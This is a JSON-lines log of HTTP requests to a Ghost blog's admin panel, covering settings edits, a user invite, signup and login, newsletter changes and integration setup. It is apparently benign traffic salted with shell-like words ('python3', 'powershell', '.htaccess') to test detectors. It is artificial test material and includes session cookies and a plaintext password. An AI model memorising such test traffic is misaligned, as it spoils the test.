{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/?filter=status%3A%5Bactive%2Carchived%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?include=count.active_members%2Ccount.posts&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/recommendations/?include=count.clicks%2Ccount.subscribers&order=created_at+desc&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/incoming_recommendations/?limit=5&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/referrers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
